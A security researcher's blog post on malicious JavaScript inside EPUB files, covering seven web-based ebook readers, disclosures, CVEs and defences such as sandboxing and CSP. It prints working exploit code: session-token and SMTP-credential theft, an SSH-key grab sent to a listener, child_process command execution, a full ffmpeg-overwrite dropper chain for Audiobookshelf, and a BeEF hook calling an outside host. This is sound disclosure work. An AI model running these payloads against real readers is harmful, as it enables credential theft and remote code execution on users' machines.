Every Trick in the Book

“Reading brings us unknown friends."

– Honoré de Balzac

I love generalizing an idea that helped me to achieve a specific goal.

The research presented in this article started with Kavita, a self-hosted digital library. I wasn’t able to find any meaningful attack vector, so I’ve decided to make it an inside job:

By adding a malicious script to an ebook.

To my surprise, this worked and it led me down a rabbit hole of way too many reader applications.

This is by no means a revelation.1 The dangers of executing scripts inside an EPUB are well documented. Other, more thorough and academic research exists.

My personal spin, however, is to exclusively look at web-based readers. This includes desktop applications built on top of Electron and the like.

Firstly, we’re going to learn about the inherit problem of script execution in ebooks.

Afterwards, we’re going to look at seven different case studies, which often resulted in remote code execution (RCE).2

And lastly, we’re going to discuss the feasibility of mounting attacks via ebooks with some hypothetical examples.

TL;DR: We assume JavaScript (JS) execution inside web-based ebook readers. How much fun can we have?

Alright, let’s do this by the book!

EPUB File Format

We’re not going to deep dive into the EPUB 3 specification (which is the version we’re exclusively talking about). It’s a great read, but for our purposes we simply need to know a few things:

An EPUB publication is, in its most basic sense, a bundle of resources with instructions on how to render those resources to present the content in a logical order.

Those resources consist of XHTML pages, CSS style sheets and many others. More interesting to us is the ability to house scripted content.

Long story short: EPUBs are build with web technology. Displaying them inside a web page3 without restrictions is just asking for trouble.

But what exactly is dangerous about it?

Don’t Drop the SOP

The security guidelines in the specification provide the following advice:

EPUB creators should note that reading systems are required to behave as though a unique origin [html] has been assigned to each EPUB publication. In practice, this means that it is not possible for scripts to share data between EPUB publications.

“A unique origin” refers to the same-origin policy (SOP), which is one of the fundamental security mechanisms of the web platform. Basically page one can’t access data of page two.

As we’re going to see, every presented attack in this article is made possible by serving an EPUB from the same origin as the web page itself.

This means malicious scripts have access to the whole page, including session tokens which enable powerful interactions with the backend server! The perfect trojan 🐴.

Epub.js

Epub.js is a JavaScript library for rendering ePub documents in the browser, across many devices.

This project makes it very simple to incorporate EPUB rendering into a web app and is used by many applications (including most of the ones presented later in the article).

It uses an iframe with the sandbox attribute set. By default, this will serve the content from a special origin that always fails SOP checks.

However, the current implementation of Epub.js turns this off:

93
94
// https://github.com/futurepress/epub.js/blob/f09089cf77c55427bfdac7e0a4fa130e373a19c8/src/managers/views/iframe.js#L94
this.iframe.sandbox = "allow-same-origin";

By itself, this is not a problem. It’s only the combination with allow-scripts that make the sandbox attribute useless.

Daniel Dušek wrote about how to escape such iframes.

Of course, the authors of Epub.js know about this, too. A section in their README.md talks about the danger of allowing scripts, which is the reason why the setting allowScriptedContent is set to false by default.

Naturally, we search for every occurence where that setting is true, which results in an iframe with allow-scripts set. By doing so, we can compile a list of potential targets.

But let’s take a step back first. Why would one allow scripts in the first place? Is it the fear of breaking certain dynamic books?

The authors4 of the previously mentioned “Reading Between the Lines” paper state:

Based on our real-world analysis of 9,000 EPUBs, we argue that the discussed restrictions for the EPUB specification would have a minimal impact; none of the analyzed EPUBs required local or remote resources to render correctly, and even the few that embedded JavaScript remained functional when execution was prevented.

It seems the concern about incompatibility is unwarranted. But there’s another reason:

Safari users.

WebKit has a long-standing bug that swallows events originating inside an iframe if allow-scripts is not set. This means the parent page can’t handle events (click, touch etc.) that might be important for providing a good reading experience.

Case Studies

And now for the juicy part.

As always, every exploit uses this beautiful 😘 prelude:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
const gradient = "background: linear-gradient(180deg, rgba(255, 0, 0, 1) 0%, rgba(255, 255, 0, 1) 33%, rgba(0, 192, 255, 1) 66%, rgba(192, 0, 255, 1) 100%";

console.warn("%c                                             ", gradient);
console.warn(
`%c
 _____ _____ _____ _____ _____ _____ _____ _____ _____ _____
|  |  |  _  |     |   __|  |  |  _  |     |   __|  |  |  _  |
|    -|     | | | |   __|     |     | | | |   __|     |     |
|__|__|__|__|_|_|_|_____|__|__|__|__|_|_|_|_____|__|__|__|__| -- GEBIRGE (2024)
`, "color: #d33682");
console.warn("%c                                             ", gradient);

const wilhelm = new Audio("https://upload.wikimedia.org/wikipedia/commons/d/d9/Wilhelm_Scream.ogg");
wilhelm.volume = 0.2;
wilhelm.play();

Just so it’s clear where all the screaming in the demos is coming from.

Kavita

Lightning fast with a slick design, Kavita is a rocket fueled self-hosted digital library which supports a vast array of file formats. Install to start reading and share your server with your friends.

As previously noted, it all started with Kavita. I did find a couple of little things, but nothing that led to a meaningful compromise of either the server or the user’s data. After a while, I thought to myself:

Why not attack from the inside‽

What does actually happen if an ebook gets appended to the DOM?

Well, it gets… appended. Everything.

Kavita makes great use of Angular's DomSanitizer in general, but the following line allows us to inject whatever we want:

931
932
// https://github.com/Kareadita/Kavita/blob/2fb72ab0d44d657104421ddc6250e12b6333173b/UI/Web/src/app/book-reader/_components/book-reader/book-reader.component.ts#L932
this.page = this.domSanitizer.bypassSecurityTrustHtml(content);

There’s also no server-side sanitization, which means we’re free to include whatever scripts we want.

More often than not, JS execution in the right user context leads to RCE.5

However, Kavita is quite robust in that regard. The REST API doesn’t surface overly powerful functionality like unrestricted file uploads or plugins.

In the end, I’ve settled for getting the user’s mail address and password. Setting them is not mandatory, so the impact is not as severe as I would hope.

Here’s the “exploit”:

1
2
3
4
5
6
7
8
(async function() {
const token = JSON.parse(localStorage.getItem("kavita-user")).token;
const headers = { Authorization: `Bearer ${token}` };
const rawResponse = await fetch("/api/settings", { headers });
const response = await rawResponse.json();
const { userName, password } = response.smtpConfig;
alert(`Username: ${userName}, Password: ${password}`);
})()

I’ve transformed the script and used an onerror handler like this:

 <audio src="/this-does-not-exist.mp3" onerror="eval(String.fromCharCode(<.......>))"></audio>

I think this slightly convoluted way of doing it was necessary because a bog standard <script> didn’t get executed (probably because of how the ebook content gets appended to the DOM - a timing thing).

Anyway, here’s the demo:

The maintainer was very responsive, but doesn’t want to remove the ability to display dynamic EPUB content. While I personally disagree, it’s a perfectly valid stance!

Overall not a bad start, but we can definitely do better!

Update June 29, 2024: CVE-2024-39307 was issued for this vulnerability and it is tracked here.

Flow

Flow is a browser-based open source EPUB reader and the first of many projects that use Epub.js for rendering. It’s meant to be installed as a progressive web app (PWA).

Because there’s no server component, the impact we can have is minimal.

I quickly looked into file handling of PWAs after seeing this:

34
35
36
37
38
39
40
41
42
43
44
// https://github.com/pacexy/flow/blob/08b7bb1fe3a5c084b2ff1a14e7f42865770ef660/apps/reader/public/manifest.json#L35
"file_handlers": [
    {
      "action": "/",
      "accept": {
        "application/epub+zip": ".epub",
        "application/epub": ".epub"
      },
      "launch_type": "single-client"
    }
  ]

My hope was that JS executed in the context of a PWA gets special capabilities. However, it looks like this is simply a way to open with.

Flow also supports syncing via Dropbox. Here is some logic dealing with authentication. We could probably steal the refresh token, but I have no Dropbox account to verify.

Here’s a simple proof of concept:

The issue is tracked here.

Jellyfin

Our old media server friend Jellyfin uses Epub.js, too. They introduced allowScriptedContent = true with this commit and are well-aware of the WebKit bug.

Exploitation can range from stealing session tokens to remote code execution on the server.

The ability to specify the FFmpeg path was removed, which means we can’t simply use our old approach.

Assuming our exploit runs in the context of an administrator account6, we can use the PackageController to add a new plugin repository and install a malicious one from there. Plugins allow for arbitrary code execution on the server under the user account that runs Jellyfin itself.

I didn’t write that exploit, though, so here’s a simple proof of concept:

1
2
3
4
(async function() {
const token = JSON.parse(localStorage.jellyfin_credentials).Servers[0].AccessToken;
console.log(`Session token: ${token}`);
})()

And here you can see it in action:

I’ve notified the team on May 7, 2024 as per their security policy, but received no answer. They recently fixed a similar XSS vulnerability for PDFs, so it seems they would care.

Given that many other projects already have public information about this issue and they specifically opted into the scripted content, I feel okay about sharing the information.

Alexandria

A minimalistic cross platform eBook reader, built with Tauri ❤️ Epub.js

Tauri is an Electron alternative, which means it’s used to build desktop applications with web technology.

Naturally, there’s also an inter-process communication (IPC) mechanism to bridge the gap between web app and host. IPC is always worth a look, as it can expand the impact of an XSS vulnerability quite dramatically.

We could audit every JS callable function, which are annotated with #[tauri::command]. An attacker might get creative with those, especially if more get added over time.

I’ve chosen a different route: Tauri is configured to enable the custom asset protocol:

20
21
22
23
24
25
// https://github.com/btpf/Alexandria/blob/8221c77d793cab5c694707ea09f96ba41aaa3ba3/src-tauri/tauri.conf.json
"allowlist": {
      "protocol":{
        "asset": true,
        "assetScope": ["**"]
      },

Because a wildcard is used in line 24, every file accessible to the user can be served that way.

The following exploit fetches a private SSH key with a default filename:

1
2
3
4
5
6
(async function() {
const response = await fetch("https://asset.localhost/C:/Users/Public/.ssh/id_ed25519");
const file = await response.blob();
const privateKey = await file.text();
fetch(`http://localhost:8000?key=%${privateKey}`, { mode: "no-cors" });
})()

Let’s see it in action:

Alexandria's author fixed the issue via content security policy. The issue is tracked here.

Neat-Reader

Neat Reader is a free and easy-to-use online EPUB reader that works on all your devices and syncs your reading progress. It supports EPUB 2 and 3 standards, annotations, notes, cloud storage, and more features to enhance your reading experience.

This project uses readium-js, another EPUB processing / rendering engine. I’ve found previous research by Zeyu.

Both, the web and the (Windows) desktop version, are vulnerable.

As one might expect, the desktop version uses Electron. Because they forgot some points on the Electron security checklist, we can simply get a hold of the Node.js integration. In practice, this means we have complete access to the host machine from within JS.

Calc-popping was never easier:

 window.top.require("child_process").execSync("calc");

As with Flow, the web version supports cloud syncing. Maybe we could steal some tokens relevant to those services, but I haven’t tested this.

Here’s a simple proof of concept for the web version:

And here a calculator on Windows:

Testing was done on version 8.1.4 for Windows.

The issue is tracked here.

Obsidian Annotator

Obsidian is the private and flexible writing app that adapts to the way you think.

Again, this is build with Electron. If you want a thorough report on Obsidian itself, you can read cure53's pentest report.

We, however, will look at Obsidian Annotator, a plugin that allows to open and annotate PDFs and EPUBs inside Obsidian.

It’s rather popular:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# popularity.py
import requests

url = "https://raw.githubusercontent.com/obsidianmd/obsidian-releases/HEAD/community-plugin-stats.json"
data = requests.get(url).json()

target = "obsidian-annotator"
sorted_data = sorted(data.items(), key=lambda x: x[1]["downloads"], reverse=True)

for position, (key, stats) in enumerate(sorted_data):
    if key == target:
        print(f"Total number of plugins: {len(sorted_data)}")
        print(f"Total downloads of '{target}': {stats['downloads']}")
        print(f"Overall position: {position + 1}")
        break
Total number of plugins: 1748
Total downloads of 'obsidian-annotator': 377360
Overall position: 24

Do note that plugins are disabled by default. For good reason, too:

Due to technical limitations, Obsidian cannot reliably restrict plugins to specific permissions or access levels. This means that plugins will inherit Obsidian’s access levels.

Annotator is especially interesting, because loading an EPUB can be done remotely via URL. I’m thinking of a tutorial or stackoverflow post that points to an inconspicuous URL for testing purposes:

BOOM. RCE!

I’m a criminal mastermind. 🧠

Exploitation is exactly the same as with Neat-Reader:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
(async function() {
// Dirty hack because the page gets loaded two times. Can't be bothered to find out why.
if (window.pwned) return;
window.pwned = true;

window.top.require("child_process").execSync("calc");
})()
#+end_sr

window.top.require("child_process").execSync("calc");

We use window.top to make sure require is available, no matter how deep our code gets executed.

Here’s the demo:

Tested with Obsidian 1.5.12 and Annotator 0.2.11 on Windows.

The issue is tracked here.

Audiobookshelf

Audiobookshelf is an open-source self-hosted media server for your audiobooks and podcasts.

It also features basic reader support via… you guessed it: Epub.js.

With JS code execution confirmed, it’s time to map out the attack surface. Audiobookshelf consists of a server written in JS and a Vue single page application (SPA). Additional mobile apps exist in beta state, but we’re focusing on the web app.

As mentioned in the Kavita section, getting remote code execution with an XSS vulnerability as the starting point is heavily dependent on the kind of functionality surfaced by the API that’s used to communicate between client and server.

From now on, we assume a user with high privileges (upload, creation of libraries) views a malicious ebook.

Thankfully, Audiobookshelf offers an OpenAPI specification, which enables us to find interesting endpoints here. It’s no replacement for actual code audit, though, as endpoints can be omitted.

In the case of Audiobookshelf, there’s no immediate win like the ability to execute arbitrary commands on the server.

File uploads are another interesting primitive. If not handled carefully, an attacker might be able to upload into unexpected places.

Audiobookshelf has an /upload endpoint:

52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// https://github.com/advplyr/audiobookshelf/blob/a75ad5d6594274a6ea048e246a1cedbd2dc72cd1/server/controllers/MiscController.js
// ---snip---
// Podcasts should only be one folder deep
const outputDirectoryParts = library.isPodcast ? [title] : [author, series, title]
// `.filter(Boolean)` to strip out all the potentially missing details (eg: `author`)
// before sanitizing all the directory parts to remove illegal chars and finally prepending
// the base folder path
const cleanedOutputDirectoryParts = outputDirectoryParts.filter(Boolean).map(part => sanitizeFilename(part))
const outputDirectory = Path.join(...[folder.fullPath, ...cleanedOutputDirectoryParts])

await fs.ensureDir(outputDirectory)

Logger.info(`Uploading ${files.length} files to`, outputDirectory)

for (const file of files) {
    const path = Path.join(outputDirectory, sanitizeFilename(file.name))

    await file.mv(path)
    .then(() => {
        return true
    })
    .catch((error) => {
        Logger.error('Failed to move file', path, error)
        return false
    })
}

res.sendStatus(200)
// ---snip---

Nothing out of the ordinary at first glance. Line 55 highlights the special treatment for podcast libraries. More interesting than what’s here is what’s missing: Checks for the existence of directories and files.

Still, we wouldn’t be able to upload to an existing directory or overwrite files from within the UI. Why not? Because an (undocumented) endpoint exists solely for guarding against this: api/filesystem/pathexists.

The UI code follows the expected sequence of calls, but we won’t! We simply call /upload directly.

I don’t know what caused the decision to move the functionality into a separate endpoint, but in my book it’s a classic logic bug.

We have our unrestricted file upload, which is precisely what enables the oldest trick in the book:

Figure 1: A duo plotting on how to overwrite the encoder binary.

Figure 1: A duo plotting on how to overwrite the encoder binary.

Our goal is to overwrite the FFmpeg binary with a malicious one and trigger its execution.

Firstly, the exploit creates a new podcast library with its root two directories above the FFmpeg binary. As shown above, only the title of an uploaded file inside a podcast library will be added to the path, meaning the title should be the name of the directory containing the binary.

 /audiobookshelf/config/ffmpeg.exe
     ^             ^       ^
     |             |       |
  library root     |       |
                title      |
                        filename

We upload a file with the title ‘config’ and the filename ‘ffmpeg.exe’. This will overwrite the legit binary. After placing the malicious binary, we create a new podcast and navigate to the library. The cover of our newly added podcasts gets loaded, which in the end triggers our malicious binary for resizing of the image.

Putting it all together, we get the following exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
(async function() {
const token = localStorage.token;

const baseHeaders = {
  "Authorization": `Bearer ${token}`,
};

// Because the file upload always adds the 'title' form field as a directory to a library's base directory,
// we need to specify the *parent* of the directory where the ffmpeg and ffprobe binaries reside.
// By default, the containing directory is 'config'.
// We have endpoints for retrieving directory contents, so it's straight forward to get the correct username.

const parentDirectory = "C:/Users/USERNAME/AppData/Local/Audiobookshelf";
const title = "config";
const filename = "ffmpeg.exe";

const libraryOptions = {
  name: "overlay library",
  folders: [{"fullPath": parentDirectory}],
  mediaType: "podcast", // The default is 'book', which leads to a different folder structure for uploads.
};

let response = await fetch("/api/libraries", {
  method: "POST",
  headers: {
    ...baseHeaders,
    "Content-Type": "application/json"
  },
  body: JSON.stringify(libraryOptions)
});

const libraryMetadata = await response.json();
const libraryId = libraryMetadata.id;
const folderId = libraryMetadata.folders[0].id;

const encodedDropper = "endlessly long base64 string";
const dummyUrl = `data:application/octet-stream;base64,${encodedDropper}`;
const dropper = await (await fetch(dummyUrl)).blob();

const formData = new FormData();
formData.append('title', title);
formData.append('library', libraryId);
formData.append('folder', folderId);
formData.append('0', dropper, "ffmpeg.exe");

response = await fetch("/api/upload", {
  method: "POST",
  headers: baseHeaders,
  body: formData
});

const podcastOptions = {
  path: `${parentDirectory}/dummyFolder`,
  folderId,
  libraryId,
  media: {
    metadata: {
      author: "GEBIRGE",
      feedUrl: "https://anchor.fm/s/a121a24/podcast/rss",
      imageUrl: "https://is1-ssl.mzstatic.com/image/thumb/Podcasts125/v4/a6/69/69/a6696919-3987-fbc0-8e0c-1ba0e1349a2b/mza_6631746544165345331.jpg/600x600bb.jpg",
      title: "Every Trick in the Book"
    }
  }
};

await fetch("/api/podcasts", {
  method: "POST",
  headers: {
    ...baseHeaders,
    "Content-Type": "application/json"
  },
  body: JSON.stringify(podcastOptions)
});

// Navigate to a page where our new podcast's cover will be displayed.
// This retrieves the image, which in the end triggers our malicious ffmpeg.exe binary for resizing => RCE. 🥹
setTimeout(function() {
  window.location.replace(`/library/${libraryId}`);
  }, 1000)
})()

As highlighted in line 36, we don’t worry the slightest bit about our payload size. Just inline the whole binary. We’re in a fucking book!

Here’s a video showing the exploit in action:

Nice.

This scenario should be exclusive to Windows, because dropped files on Linux lack the execution bit. I haven’t tested this, though. On Linux, we could overwrite ~/.ssh/authorized_keys and provide our own public key so that we can log into the machine. I also haven’t tested this.

The maintainer was very responsive and provided a fix with version 2.10.0.

CVE-2024-35236 was issued for this vulnerability and it is tracked here.

Scheming

We had quite the impact in some cases, right? But how practical is the idea of putting malicious code into an EPUB? Every reader needs a different payload, which brings us into social-engineering territory if we hope to execute the right one in each distinct environment.

Of course, some kind of user interaction is always required. But we want to keep it to the minimum of downloading an ebook and looking at it with reader X.

How can we make the attack more generic?

For starters, we can use our scripts to fingerprint the environment. Not only the browser, but the application itself.

We’d still have to maintain a huge script with lots of conditions and branches. Most certainly we’d also get one chance only, as a second download seems highly unlikely. Goodbye, malicious-v2.epub.

What we really want is a stage one payload suitable for almost all environments which connects back and waits for further instructions.

🥁 🥁 🥁

Introducing BeEF - the Browser Exploitation Framework.

BeEF works by injecting a script that handles communication between a hooked browser and the BeEF server.

We can simply include

 <script src='https://tofu.lol/hook.js'></script>

into our EPUB and wait for connections.

All kinds of useful and not so useful things are possible if we catch one:

Figure 2: BeEF&rsquo;s command tab (source: https://github.com/beefproject/beef/wiki/Interface)

Figure 2: BeEF’s command tab (source: https://github.com/beefproject/beef/wiki/Interface)

As awesome as the built-in commands are, we’re mainly interested in doing some reconnaissance in order to launch the correct exploit for the environment.

Once hooked, we’re free to execute whatever JS we want. The whole process can be scripted, too!

If we don’t have an exploit handy, we can at least run our cryptojacking operation on an army of ebooks.

In all seriousness: Hooking can always be done where script execution is permitted.7 So while conceptually funny, it is totally possible to create an ebook botnet!

But what makes this more interesting than a website, which can -you know- run arbitrary JS?

I’d argue that EPUBs are generally more trusted than random websites. Both, by developers of reader applications and users. As a consequence, we can get into more interesting places (like old WebViews), which can lead to serious compromise.

Another distinct advantage of EPUBs over normal websites is the fact that they’re kept open for a lot longer. And time is monero, as they say.

Not quite sold? How do the EPUBs get distributed in the first place you ask?

Well, let me ask you: Have you ever used an online converter? Or maybe that one book which is out of print since 2004 and costs $129 (used) by now fell off the back of a truck?8

Do you trust those online converters not to inject scripts? Do you trust the truck driver?

Solutions

If we don’t trust them, what are our options?

As already stated, every attack was made possible because the EPUB was served from the same origin as the web page itself. If we can’t access its resources, we can’t talk to the API or use the Electron features that led to RCE.

Consequently, ebooks should be treated as every other user controlled resource, which means serving them from a different origin.

This can be achieved with a properly sandboxed <iframe> or a different (sub)domain.

While this is an effective defense against targeted exploits, we’d still be able hook the reader application with BeEF. All benefits discussed in the previous section apply.

Another option is to configure a content security policy (CSP). It can be used to block scripts (among other things), whether inlined or remotely fetched.

End users might be interested in the Dangerzone project. It works by having multiple conversion steps in different containers that result in a clean PDF. Because it can only ouput PDFs, it’s probably a tough sell for dedicated EPUB reader apps.

Conclusion

In summary, we were able to utilize the inherit scripting capabilities of EPUBs to exploit various reader applications - trojan horse style. Both developers and users generally put more trust into an ebook than a random website, which results in quite permissive environments. Ebooks also have other distinct advantages, like the duration they’re kept open.

Furthermore, we’ve thought about the feasibility of this attack vector and came up with the hypothetical idea of injecting a generic payload via online converter services or pirated ebooks. Said payload hooks the reader application with the help of BeEF. Besides enabling reconnaissance and launching custom exploits against the various reader apps, we can do other things like mapping the local network or launching distributed denial-of-service attacks.

Hopefully it goes without saying that this is purely academical! Please don’t use any of the described techniques destructively. Shame on you if you do!

While there may be use cases for script execution inside an ebook, I fail to see the benefit of enabling it by default.

As the authors of the “Reading Between the Lines” paper put it:

[…] we also propose to reconsider the capability of unrestricted JavaScript execution in EPUB reading systems, perhaps requiring user consent when a script is about to be executed.

Not everything needs to be Turing-complete.

Thank you so much for reading!

Resources and Acknowledgments


  1. Well, it was for me↩︎

  2. I’m going to refer to arbitrary code execution (which is not expected JavaScript) as RCE, even if technically not remote. It’s complicated - you’ll see. ↩︎

  3. I will use the terms website, web page and web app interchangeably. ↩︎

  4. G. Franken, T. Van Goethem and W. Joosen, “Reading Between the Lines: An Extensive Evaluation of the Security and Privacy Implications of EPUB Reading Systems,” 2021 IEEE Symposium on Security and Privacy (SP), San Francisco, CA, USA, 2021, pp. 1730-1747, doi: 10.1109/SP40001.2021.00015. ↩︎

  5. As shown again and again↩︎

  6. Which is not far-fetched. Who does have two separate accounts for self-hosted apps? Apart from you, of course! ↩︎

  7. I’ve looked at a lot more readers. Even if we can’t escalate from JS code, we still have… JS code. ↩︎

  8. Don’t answer that! 🤫 ↩︎